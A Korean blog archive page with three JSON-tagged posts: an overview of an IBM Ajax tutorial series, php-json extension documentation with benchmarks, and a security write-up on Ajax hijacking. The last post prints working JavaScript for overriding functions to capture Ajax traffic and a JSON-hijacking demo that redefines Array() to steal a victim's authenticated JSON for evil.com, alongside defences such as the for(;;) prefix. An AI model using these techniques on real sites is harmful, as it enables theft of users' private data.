'JSON'에 해당되는 글 3건

  1. 2009.05.14 Ajax 마스터하기 (DOM, XML, JSON) (3)
  2. 2009.04.22 php5-json 설치하기 & 사용하기
  3. 2009.04.20 Ajax Application Hijacking Security
2009. 5. 14. 23:10

Ajax 마스터하기 (DOM, XML, JSON)

저자 : 이선민, Technical Consultant, IBM Innovation Center (IIC), IBM Korea.

2006년 9월 4일
2007년 10월  9일 수정

지난 2005년 미국을 중심으로 인터넷 업계를 뜨겁게 달군 키워드 중 하나는 '웹2.0' 이었으며, Google의 Gmail과 Maps 그리고 사진공유 사이트인 Flickr 등을 통해 국내 에서도 이에 관한 관심이 매우 높아졌습니다. '웹2.0 컨퍼런스'를 기획한 ‘오라일리(O’Reilly)’사의 팀 오라일리 회장은 “웹2.0 시대로의 전환은 ‘웹의 플랫폼화(The Web as platform)’에 있다”라고 언급했으며, 여기서의 플랫폼은 MS의 Windows 와 같은 운영체제를 말합니다. 즉 지금까지는 윈도우즈를 부팅시킨 후 할 수 있었던 워드나 엑셀 작업등을 이제는 운영체제에 구애됨이 없이 웹브라우저를 통해서도 할 수 있다는 것입니다.

Ajax가 주목받는 이유는 이러한 웹2.0 시대를 연 많은 사이트 들이 Ajax 기술을 활용하고 있기 때문입니다.

Ajax(Asynchronous Java Script and XML)는 클라이언트 측 스크립팅을 사용하는 웹 애플리케이션 개발 방식으로서 http를 통해 xml 데이터를 웹 서버와 교환합니다. 따라서 웹 페이지는 동적으로 업데이트 될 수 있습니다. 전체 페이지를 리프레시 하여 응답성이 떨어지게 하지도 않습니다. Ajax를 사용하여 보다 풍부하고 동적인 웹 애플리케이션 사용자 인터페이스를 만들 수 있습니다. Ajax는 기술이 아니며, 오히려 여러가지 기술이 복합된 방법론 또는 패턴에 더 가깝습니다.

본 특집은 Ajax에서 사용되고 있는 XMLHttpRequest를 이용한 비동기 자료검색, DOM을 이용한 상호작용, 모든 것을 결합시켜 정리해 주는 자바스크립트 등에 관하여 자세하게 예를 들어 설명하고 있습니다.

이 시리즈는 현재까지 총 11회로 구성되어 있습니다.

  • Part 1: Ajax 소개

    Ajax 애플리케이션에 관한 서론 및 이 애플리케이션에 필요한 몇 가지 기본개념들을 설명합니다.


  • Part 2: JavaScript와 Ajax를 이용한 비동기식 요청

    XMLHttpRequest 객체에 대해 구체적으로 소개합니다. 이 객체는 서버측 애플리케이션이나 스크립트에 대한 요청을 핸들하고, 서버측 컴포넌트에서 리턴 데이터를 처리하는 Ajax 애플리케이션의 핵심 입니다. 모든 Ajax 애플리케이션은 XMLHttpRequest 객체를 사용하기 때문에 Ajax 애플리케이션의 작동은 여기에 얼마나 익숙해지냐에 달려있습니다.


  • Part 3: Ajax의 고급 요청 및 응답

    지난 글에서 다루었던 기초를 넘어서 요청 객체의 세 가지 핵심 부분들-HTTP 준비 상태,HTTP 상태 코드, 요청 유형들-에 대해 자세히 설명합니다. 애플리케이션에 무언가 문제가 있을 때 준비 상태, HEAD 요청을 하는 방법, 또는 400 상태 코드가 의미하는 것이 무엇인지를 이해하면 간단한 디버깅으로 끝낼 수 있기 때문입니다.


  • Part 4: 웹 응답에 DOM 활용하기

    웹 페이지를 정의하는 문서 객체 모델(Document Object Model)을 소개합니다.


  • Part 5 : DOM 다루기

    이번 글에서는 돔을 보다 자세히 연구합니다. 웹 페이지에 대한 특정 모델은 그 페이지의DOM 트리라고 하는데, 이러한 돔 트리의 부분들을 생성, 제거, 변경하는 방법을 설명하고 그 다음 단계인 웹 페이지를 업데이트 하는 방법을 설명합니다. 여러분은 DOM을 통해서 사용자 인터페이스를 변경할 수 있고 인터랙팅 할 수 있습니다. 이것은 실로 엄청난 프로그래밍의 힘과 유연성을 제공해 주는데, 일단 DOM 트리로 작업하는 방법을 배우면 풍부하고 동적인 인터랙티브 웹 사이트를 마스터하는 단계로 넘어갈 수 있다.


  • Part 6 : DOM 기반 웹 애플리케이션 구현하기

    Document Object Model (DOM)와 JavaScript 코드를 결합하여 인터랙티브 Ajax 애플리케이션을 구현해봅니다. 여러분이 배운 모든 것을 실제로 적용하여, 간단한 웹 페이지를 구현해 봅니다. 웹 페이지의 모든 효과들은 JavaScript를 사용하여 구현됩니다.


  • Part 7: 요청과 응답에 XML 사용하기

    평범한 Ajax 개발자들도 Ajax 단어에 있는 x가 XML.을 의미한다는 것 정도는 알고 있습니다. XML은 가장 인기 있는 데이터 포맷들 중 하나이고, 실제로, 비동기식 애플리케이션에서 서버 응답에 효력을 발휘합니다. 이 글에서, 서버가 XML로 된 응답을 보내는 방법을 설명합니다.


  • Part 8: 요청과 응답에 XML 사용하기

    지난 시리즈에서는, Ajax 애플리케이션인 서버로 가는 요청을 XML로 포맷팅 하는 방법을 설명했습니다. 그리고 대부분의 경우, 이것이 좋은 방법이 아닌지를 설명했습니다. 이번에는, 좋은 방법을 소개합니다. XML 응답을 클라이언트로 리턴하는 방법을 설명합니다.


  • Part 9 : Google Ajax Search API 사용하기

    비동기식 호출은 서버 측 프로그램과의 통신에 대한 것만은 아닙니다. Google 또는 Amazon 같은 퍼블릭 API와 통신할 수 있고, 여러분이 갖고 있는 스크립트와 서버 측 프로그램이 제공하는 것 이상의 기능을 웹 애플리케이션에 추가할 수 있습니다. 이 글에서, Brett McLaughlin은 Google 같은 퍼블릭 API를 통해 요청을 하고 응답을 받는 방법을 설명합니다.


  • Part 10: 데이터 전송에 JSON 사용하기

    비동기식 애플리케이션은 궁극적으로 데이터에 관한 것입니다. 데이터를 전송하거나 수신하기 위해 XML이나 플레인 텍스트 대신, JSON을 사용하는 방법, 시기, 이유를 설명합니다.


  • Part 11: 서버 측의 JSON

    지난 기술자료에서는 JavaScript의 객체를 JSON으로 변환하는 방법을 배웠습니다. 이 포맷은 객체들 또는 객체 어레이들로 매핑하는 데이터를 보내는데(받는데) 사용할 수 있습니다. 본 시리즈 마지막 기술자료에서는, JSON 포맷으로 서버에 보내진 데이터를 핸들하는 방법과, 같은 포맷을 사용하여 스크립트에 응답하는 방법을 설명합니다.


이상에서 Ajax 애플리케이션에 필요한 기본개념들에 대해 살펴보았습니다. Ajax라는 용어는 새롭지만, 이를 구현하는 기술요소들은 전혀 새로운 것이 아닙니다. 하지만 이를 이용할 경우 사용자는 원하는 응답을 빠른 시간에 받을 수 있고 이에따라 서버의 부담이 줄어들며, 개발자는 페이지 화면구성을 다이나믹하게 할 수 있고, 플래시나 액티브엑스(ActiveX) 의존도를 상당부분 대체 할 수 있다는 장점이 있습니다. 이 시리즈 이외에도 한국 developerWorks 사이트에 Ajax 에 관련된 글들이 많이 번역되어 게시되고 있으며, developerWorks 사이트에는 최신 기술자료들이 올라와 있으니 즐겨찾아 주시기 바랍니다.
여러분에게 많은 도움이 되기를 바랍니다.



출처 : http://www.ibm.com/developerworks/


Trackback 0 Comment 3
  1. Favicon of https://blog.pages.kr 날으는물고기 2009.05.14 23:19 신고 address edit & del reply

    Ajax로 SOAP 웹 서비스 호출하기, Part 1: 웹 서비스 클라이언트 구현하기 (한글)
    http://www.ibm.com/developerworks/kr/library/ws-wsajax/index.html
    Asynchronous JavaScript and XML (Ajax) 디자인 패턴을 사용하여 웹 브라우저 기반 SOAP 웹 서비스 클라이언트 구현하기.

    Ajax로 SOAP 웹 서비스 호출하기, Part 2: 웹 서비스 클라이언트 확장하기 (한글)
    http://www.ibm.com/developerworks/kr/library/ws-wsajax2/index.html
    Asynchronous JavaScript and XML (Ajax) 디자인 패턴을 사용하여 웹 브라우저 기반 SOAP 웹 서비스를 구현해 봅시다. 본 시리즈 Part 1, Ajax로 SOAP 웹 서비스 호출하기, Part 1에서 필자는 SOAP 웹 서비스를 호출하는 웹 브라우저 기반 JavaScript 라이브러리를 소개했습니다. 이 글에서는 Web Services Addressing Language와 Web Services Resource Framework 스팩의 지원을 통해 JavaScript 라이브러리 기능을 확장하는 방법을 설명합니다.

  2. Favicon of https://blog.pages.kr 날으는물고기 2009.05.14 23:21 신고 address edit & del reply

    Ajax에서 XML 처리하기, Part 1: 네 가지 방법
    http://www.ibm.com/developerworks/kr/library/x-xmlajaxpt1/

    Ajax에서 XML 처리하기, Part 2: Ajax와 XSLT를 이용하는 방법 두 가지
    http://www.ibm.com/developerworks/kr/library/x-xmlajaxpt2/

    Ajax에서 XML 처리하기, Part 3: JSON을 사용하고 프록시 피하기
    http://www.ibm.com/developerworks/kr/library/x-xmlajaxpt3/

  3. Favicon of https://blog.pages.kr 날으는물고기 2009.05.14 23:22 신고 address edit & del reply

    Ajax를 사용하여 Lotus Notes 문서 관리하기 (한글)
    http://www.ibm.com/developerworks/kr/library/domino-ajax/

2009. 4. 22. 00:49

php5-json 설치하기 & 사용하기

php-json

php-json is an extremely fast PHP C extension for JSON (JavaScript Object Notation) serialisation. It conforms to the JSON specification.

It is now part of PHP 5.2.0.

Download

Version 1.2.1 (SRPM, Win32) - Released 2006-04-01 - Rework comma insertion during encoding.

Mailing List

Google Groups
Subscribe to php-json
Email:
Visit this group

Documentation

A simple ./configure; make; make install should do the trick. Make sure to add an extension=json.so line to your php.ini/php.d.

Then, just use json_encode to encode your PHP values into JSON, and json_decode to decode JSON into a PHP value.

For example:

$val = array("abc" => 12,
"foo" => "bar",
"bool0" => false,
"bool1" => true,
"arr" => array(1, 2, 3, null, 5),
"float" => 1.2345
);
$output = json_encode($val);
echo $output."\n";

Would produce:

{ "abc": 12, "foo": "bar", "bool0": false, "bool1": true, "arr": [ 1, 2, 3, null, 5 ], "float": 1.234500 }

While:

$input = '{ "abc": 12, "foo": "bar", "bool0": false, "bool1": true, "arr": [ 1, 2, 3, null, 5 ], "float": 1.234500 }';
$val = json_decode($input);
echo $val->abc."\n";

Would produce:

12

As of version 1.0.5, json_decode takes an optional parameter, assoc (boolean), that returns an associative array instead of an object.

A PHP object correlates to a JavaScript object (associative array, i.e., key => value pairs), so the above would be referenced in JavaScript like so:

var obj = ...; /* retrieve JSON and eval() it, returning an object */
var result = obj["abc"] * obj["float"]; /* obj.abc would be the same as obj["abc"] */
alert("result is " + result);

This should display an alert box with the value of result, i.e., 14.814.

Performance

Following are some performance metrics for the php-json C extension (version 1.2.1) in comparison to a native PHP implementation of JSON (JSON.php,v 1.31 2006/06/28 05:54:17).

The C extension is 153 times faster than the native PHP implementation in this test on decoding.

More complex examples generally show the C extension in even better light, where a speed increase of 270 times is not uncommon.

Initial C decode:
object(stdClass)#2 (7) refcount(1){
["abc"]=>
long(12) refcount(1)
["foo"]=>
string(3) "bar" refcount(1)
["bool0"]=>
bool(false) refcount(1)
["bool1"]=>
bool(true) refcount(1)
["arr"]=>
array(5) refcount(1){
[0]=>
long(1) refcount(1)
[1]=>
long(2) refcount(1)
[2]=>
long(3) refcount(1)
[3]=>
NULL refcount(1)
[4]=>
long(5) refcount(1)
}
["float"]=>
double(1.2345) refcount(1)
["unicode"]=>
string(18) "プレスキット" refcount(1)
}

Timing 1000 decode iterations...
0.012725114822388 seconds elapsed

Initial C encode:
string(134) "{"abc":12,"foo":"bar","bool0":false,"bool1":true,"arr":[1,2,3,null,5],"float":1.2345,"unicode":"\u30d7\u30ec\u30b9\u30ad\u30c3\u30c8"}" refcount(1)

Timing 1000 encode iterations...
0.0062010288238525 seconds elapsed

Initial PHP decode:
object(stdClass)#2 (7) refcount(1){
["abc"]=>
long(12) refcount(1)
["foo"]=>
string(3) "bar" refcount(1)
["bool0"]=>
bool(false) refcount(1)
["bool1"]=>
bool(true) refcount(1)
["arr"]=>
array(5) refcount(1){
[0]=>
long(1) refcount(1)
[1]=>
long(2) refcount(1)
[2]=>
long(3) refcount(1)
[3]=>
NULL refcount(1)
[4]=>
long(5) refcount(1)
}
["float"]=>
double(1.2345) refcount(1)
["unicode"]=>
string(18) "プレスキット" refcount(1)
}

Timing 1000 decode iterations...
1.9429512023926 seconds elapsed

Initial PHP encode:
string(134) "{"abc":12,"foo":"bar","bool0":false,"bool1":true,"arr":[1,2,3,null,5],"float":1.2345,"unicode":"\u30d7\u30ec\u30b9\u30ad\u30c3\u30c8"}" refcount(1)

Timing 1000 encode iterations...
0.43110299110413 seconds elapsed

Decode: C is 152.68633953497 times faster
Encode: C is 69.521204198547 times faster

Trackback 0 Comment 0
2009. 4. 20. 19:39

Ajax Application Hijacking Security

1. Ajax어플리케이션 하이재킹

자바스크립트가 가진 특성 때문에(동적인 측면) 하이재킹으로 인한 보안 문제가 일어난다. 함수를 선언하고 나서 후에 재정의 있는 특징 때문이다.

 

ex)

<script>

function sum(x,y){

   var z=x+y;

 alert(“sum is” +z);

}

setTimeout(“sum=function(){alert(‘hijacked’);}”,5000);

</script>

<input type=”button” value=”5+6=?” onclick=”sum(5,6);”/>

 

 

실수로 인한 함수 덮어쓰기

 자바스크립트의 특성상 같은 함수 이름이 들어가 있을 경우 나중의 함수가 호출된다.

이를 막기 위해 네임스페이스(namespace) 개념을 도입하면 된다.

 

var Utils={};

Utils.debug=function(){…};

 

하지만,실수로 코드를 덮어쓰는 것을 막기 위해 힘쓰지만 의도적으로 덮어쓰면 자신의 원하지 않게 동작하거나 멈출 있다.

그림 > 같은 범위의 같은 이름으로 선언되었을 마지막에 선언된 함수가 전에 선언된 함수를 덮어쓴다.

그림 7-2>분리된 네임스페이스는 자바스크립트 라이브러리가 실수로 기존 함수를 덮어쓰는 것을 막아준다.

 

함수 덮어쓰기

ex)

 

new Ajax.Request('/FuncHijack/data.xml',

{

method:'get',

onSuccess: function(transport){

var response = transport.responseText || "no response text";

alert("Success! \n\n" + response);

},

onFailure: function(){ alert('Something went wrong...') }

});

 

 

Ajax.Request OnSuccess 자바스크립트 실제 함수 코드에 대해 참조만 하고 있다.따라서 아래의 코드가 가능 하다.

 

// 함수에 대한 참조 생성

var oldAlert = window.alert;

//참조로 함수를 부르는 끼워넣기 함수 생성

function newAlert(msg) {

out = "And the Earth Trembled with the message:\n\n";

out +=msg.toUpperCase();

out +="\n\n... And it was Good."

oldAlert(out);

}

//window.alert 덮어쓰기 하여 사용자가 만든 끼워넣기 함수를 가리키게 한다.

//

window.alert = newAlert;

alert("Hey! What are you guys doing on this roof\n\t-Security");

 

 

단계

1.원래 경고 함수에 대한 참조를 생성

2. 끼워넣기 함수를 생성

3.함수를 가르키던 기존참조를 없애고 끼워넣기 함수를 가르키게 한다.

 

프로토 타입의 Ajax.Request  함수에 대해서도 적용할 수있다.끼워넣기 함수가 OnSuccess 함수도 해이재킹해 HTTP 요청과 응답정보를 수도 있다.

 

 

그림>프로토 타입을 이용함 Ajax 애필리케이션의 트래픽을 끼워넣기 함수로 캡처해 보여주고 있다.

 

//프로토 타입의 Ajax 핸들러에 대한 참조 생성

 var oldRequest = Ajax.Request;

//원래의 응답 핸들러에 대한 참조 생성

 function FakeAjaxRequest(a, b) {

var url = a;

var options = b;

//원래의 응답 핸들러에 대한 참조 생성

 var oldCallback = options.onSuccess;

//응답 핸들러에 대한 끼워 넣기 함수 생성

 var ShimCallback = function(x) {

var out = 'Captured Traffic\n';

out += options.method.toString().toUpperCase() +

" " + url + " HTTP/1.1\n";

out += "=== Response ===\n";

out += x.status + "\n";

out += x.responseText;

alert(out);

//원래의 응답 핸들러에 건네기

 oldCallback(x);

};

//B-2 끼워넣기 함수를 응답 핸들러가 가르키게 하기

 options.onSuccess = ShimCallback;

//요청 핸들러 생성자에 건네기

 return new oldRequest(url, options);

}

//Ajax.Request 오버라이드 전역 변수를 건드리는 것이 필요

 FakeAjaxRequest.Events = ['Uninitialized', 'Loading', 'Loaded',

'Interactive', 'Complete'];

// A-2 끼워넣기 함수를 Ajax.Request 가르키게 하기

Ajax.Request = FakeAjaxRequest;

 

 

프로토 타입 프레임워크의 취약점을 이용한 것이 아니라 모든 프레임워크,자바스크립트 함수에서 동작한다.,  브라우져에서 해당 네이티브 함수를 어떻게 구현 하였는가에 따라 달라진다.

 

하이재킹 기술에 대한 대처법

 

-클라이언트단 코드의 무결성을 검증하는 코드를 넣는

ex)

1).프로토 타입에서는 ValidateIntegrity() Ajax.Request()처럼 자주 쓰는 함수의 toString() 함수를 호출해 조작이 됐는지 확인 있다.

하지만 ValidateIntegrity() 항상 true 리턴 되게 하면 무용지물이 수있다.

2).클라이언트 기반 MD5해시값을 서버에 보내 클라이언트와 서버가 통신 하기 전에 무결성을 검증하는 방법, 하지만 해커가 클라이언트 코드의 실제 MD5값을 계산 하면 무용지물 .

클라이언트 코드의 무결성 검증은 불가능하다.

 

 

2.주문형 Ajax 하이재킹

 주문형 Ajax 필요시 동적으로 자바스크립트 코드를 다운로드 하는 기술이다. 게으른 로딩(lazy loading) 또는 지연된 로딩(delayed loading)이라고 한다. Dojo 패키징 시스템에서 이를 이용한다. 동적으로 Script 태그를 생성하고 코드를 가져온다. 이는 자바스크립트 파일 목록에도 나타나지 않는다.

 

공격하는데 실제 필요한 것은 자바스크립트 디버거와 자바스크립트에 쓰여진 값을 모니터링 하는 것이다.

자바스크립트 모니터링/디버깅을 하기 위해서 먼저 현재 자바스크립트 환경에서 접근 가능한 함수가 무엇인가 알아본다. 사용자 정의 함수는 전역 window 객체의 프로퍼티이다.

 

<script>

function BogusFunction1() {

//empty function

}

function BogusFunction2() {

//empty function

}

var ret = "";

for(var i in window) {

if(typeof(window[i]) == "function") {

ret += i + "\n";

}

}

alert(ret);

</script>

 

IE 이외의 브라우져에서 위의 같이 함수 객체를 얻어 있다.

IE  에서는 네임스페이스를 이용하여 객체의 프로퍼티를 열거해 함수를 찾을 있다. 브라우져를 미리 방문해 자바스크립트 코드의 레이아웃을 살펴보면 네임스페이스를 있다.

 

-코드가 새롭게 추가되는 것을 알게 있는

보통 모든 함수를 스캔하는 코드를 실행해 사용자 정의 함수 목록을 만들어 주게 한다. setInterval() 함수로 스캐닝 코드를 반복 실행해 새로 추가된 함수의 소스코드를 얻을 수있다.

 

ex)Hook (좀더 찾아봐야됨)

그림>HOOK window 객체 열거를 통해 FRAME 에서 두개의 사용자 정의 함수를 추출하고 있다.

 

그림>HOOK 새롭게 추가되 ㄴ네개의 함수를 찾아냈다.반면,후면의 파이어버그에선 새롭게 추가된 함수와 관련된 정보를 없다.

 

HOOK 사용자 정의 함수 객체에 valueof() 호출해 해당 자바스크립트 함수를 추출한다.

그림>HOOK 개의 새로 추가된 함수를 찾아서 추출하고 있다. secret()함수엔 암호나 키처럼 보이는 것이 있음을 있다.

 

3.JSON API 하이재킹

보통 XSS 취약점이 있거나 사용자 자바스크립트 위젯 같은 코드를 업로드 하는 사이트에서 발생한다. 크로스사이트 요청 변조(CSRF) 자바스크립트 덮어쓰기 등과 같이 사용하는 기술이다.

JSON 하이재킹이 가능한 이유는 JSON 자바스크립트 소스코드의 부분집합이기 때문이다. , JSON 배열을 얻어 SCRIPT 태그에 넣을 있다.

 

<script type="text/javascript">

//error 나지 않는다.

[["AJAXWorld", "2007-04-15", "2007-04-19", ["ATL", "JFK", "ATL"],

95120657, true],

["Honeymoon", "2007-04-30", "2007-05-13",

["ATL", "VAN", "SEA", "ATL"], 19200435, false],

["MS Trip", "2007-07-01", "2007-07-04", ["ATL", "SEA", "ATL"],

74905862, true],

["Black Hat USA", "2007-07-29" "2007-08-03",

["ATL", "LAS", "ATL"], 90398623, true]];

</script>

 

JSON 리턴하는 웹서버의 Ajax 종점을 SCRIPT 태그로 가리키게 해서 자바스크립트 인터프리터가 배열 생성자 함수인 Array() 강제적으로 실행하게 있다.

 

function Array() {

var foo = this;

var bar = function() {

var ret = "Captured array items are: [";

for(var x in foo) {

ret += foo[x] + ", ";

}

ret += "]";

//notify an attacker. Here we just display it

alert(ret);

};

setTimeout(bar, 100);

}

 

 

임의의 함수인 bar() 생성해 변수 foo(배열에 저장된 모든아이템) 모든 모든 프로퍼티를 추출한다. 악의적인 배열 생성자가 setTimeout()함수로 100밀리초 후에 bar() 함수를 호출하는 것이다.

 

아래의 코드를 보면 다음 코드의 웹페이지를 읽었다.

 

<html>

<head>

<title>JSON Hijacking Demo</title>

<link rel="stylesheet" type="text/css" href="media/style.css"/>

<link rel="shortcut icon" href="/favicon.ico" />

</head>

<body>

<script>

function Array() {

//... 간략화를 위해 생략

}

</script>

<!—서드파티 사이트의 종점을 직접 포함하는 스크립트-->

<script src="http://www.hightechvacations.net/Vacations/ajaxcalls/" +

"PastTrips.ashx">

</script>

...

</html>

 

 

 그림 7-12 다른 사이트를 가르키고 있는 소스 속성을 가진 스크립트 태그가 있는 evil.com 앨리스가 방문했다. evil.com 배열 생성자를 바꿔치기 했기 때문에 서드 파티 웹사이트가 리턴 하는 JSON 배열 콘텐츠의 내용을 evil.com 훔출 수있다.

 

1)악의적인 배열 생성자를 갖고 있어서 생성된 배열의 콘텐츠가 evil.com 으로 가게된다.

2) 스크립트 태그는 HighTechVacation.net PasTrips.ashx 종점으로 외부 참조가 되어있다.고전적인 CSRF공격처럼 브라우저가 인증된 요청을 HighTechVacation.net PastTrip.ashx 보낸다.

3)브라우저가 스크립트 태그안에 JSON 배열을 받으면 자바스크립트 인터프리터에 값을 건네고 악의적인 배열 생성자를 호출해 배열 리터럴의 내용을 추출한다.

객체 리터럴 하이재킹

 

<script type="text/javascript">

{"frequentFlyer": true, "miles": 19200}

</script>

 

자바스크립트를 파싱하면 invalid label 이라는 문법 에러가 발생한다.

자바스크립트 라벨은 인용부호를 포함할 수없다. , ({"suit": "spades", "value": "jack"})처럼 JSON 객체가 있다면 이는 적법한 스크립트이다.

 

JSON 하이재킹이 가능한 이유

1.Ajax 종점이 리턴하는 JSON 배열 리터럴과 객체 리터럴은 문법적으로 맞는 자바스크립트여야 한다.

2.자바스크립트 인터프리터가 리터럴을 만나면 자동적으로 배열이나 객체 생성자를 호출해야한다.

 

JSON 하이재킹을 막는법

JSON 하이재킹을 막으려면 이상한 테이더를 리턴하도록 Aajx 종점 처리를 해야 한다. Ajax 종점에 스크립트 태그로 바로 접속하면 이상한 데이터가 실행되어 인터프리터가 JSON 리터럴을 수행하지 못하게 한다.

 

I/\/\ a bl0ck of inva1id $ynT4x! WHOO!

[["AJAXWorld", "2007-04-15", "2007-04-19", ["ATL", "JFK", "ATL"],

95120657, true],

["Honeymoon", "2007-04-30", "2007-05-13",

["ATL", "VAN", "SEA", "ATL"], 19200435, false],

["MS Trip", "2007-07-01", "2007-07-04", ["ATL", "SEA", "ATL"],

74905862, true],

["Black Hat USA", "2007-07-29" "2007-08-03",

["ATL", "LAS", "ATL"], 90398623, true]];

 

 

이상한 자바스크립트 코드로 JSON 응답을 해법을 생각해보자 window.onerror() 오버라이드 해서 에러 핸들러 함수를 정의 한다 해보자.

 

<script type=”text/javascript”>

/*

["Eve", "Jill", "Mary", "Jen", "Amy", "Nidhi"]

*/

</script>

 

 

애플리케이션 검증을 제대로 하지 않으면 악의 적인 이름으로 악용될 있다.

 

<script type="text/javascript">

/* ["Eve*/["bogus", "Jill", "Mary", "Jen", "Amy", "bogus"]/*Nidhi"]

*/

</script>

 

해결책은 무한루프를 돌게 하는 것이다.

 

<script type="text/javascript">

for(;;);

["Eve", "Jill", "Mary", "Jen", "Amy", "Nidhi"]

</script>

 

1). 주석을 사용하는 방법과 달리 무한 루프 방법은 텍스트를 둘러싸는 것이 없기 때문에 이를 악용할 없다

2).for(;;); 자바스크립트 키워드와 기호로만 되어있다. 혹자는 while(1) 이용하라 하지만 1 숫자 리터털이기 때문에 숫자 생성자 함수 Number() 악용할 수있기때문이다.생성자 안에서 this=0;으로 처리하고 문자적으로 1값을 재정의하게되면 while(true) 같은 불린 리터럴을 사용하는 무한루프도 문제가 있을 가능성이 있다.

 

 

 

 

보안 권고

무한 루프로  JSON 리턴 하는 Ajax 종점을 보호하라. 특히 for(;;)를사용하라.자바스크립트 키워드로 되어있을 뿐이라 응답의 for(;;)문은 XMLHttpRequest 객체의 responseText 프로퍼티의 substring()으로 쉽게 제거 가능하다.

function defangJSON(json) {

if(json.substring(0,8) == "for(;;);") {

json = json.substring(8);

}

Return json;

}

var safeJSONString = defangJSON(xhr.responseText);

var jsonObject = safeJSONString.parseJSON();

 

 

결론

자바스크립트 동적인 특성으로 다른 자바스크립트 프로그램이 자동적으로 애플리케이션 소스코드를 수정 가능하게 있다.

함수덮어쓰기,소스코드 자체를 바꿀수 있다.또한 JSON 가능한 Ajax 종점에서 리턴하는 데이터가 하이 재킹된다.JSON 하이재킹을 막으려면 무한 루프 보호방법을 써야 한다.


출처 : http://openjava.pe.kr/


Trackback 0 Comment 0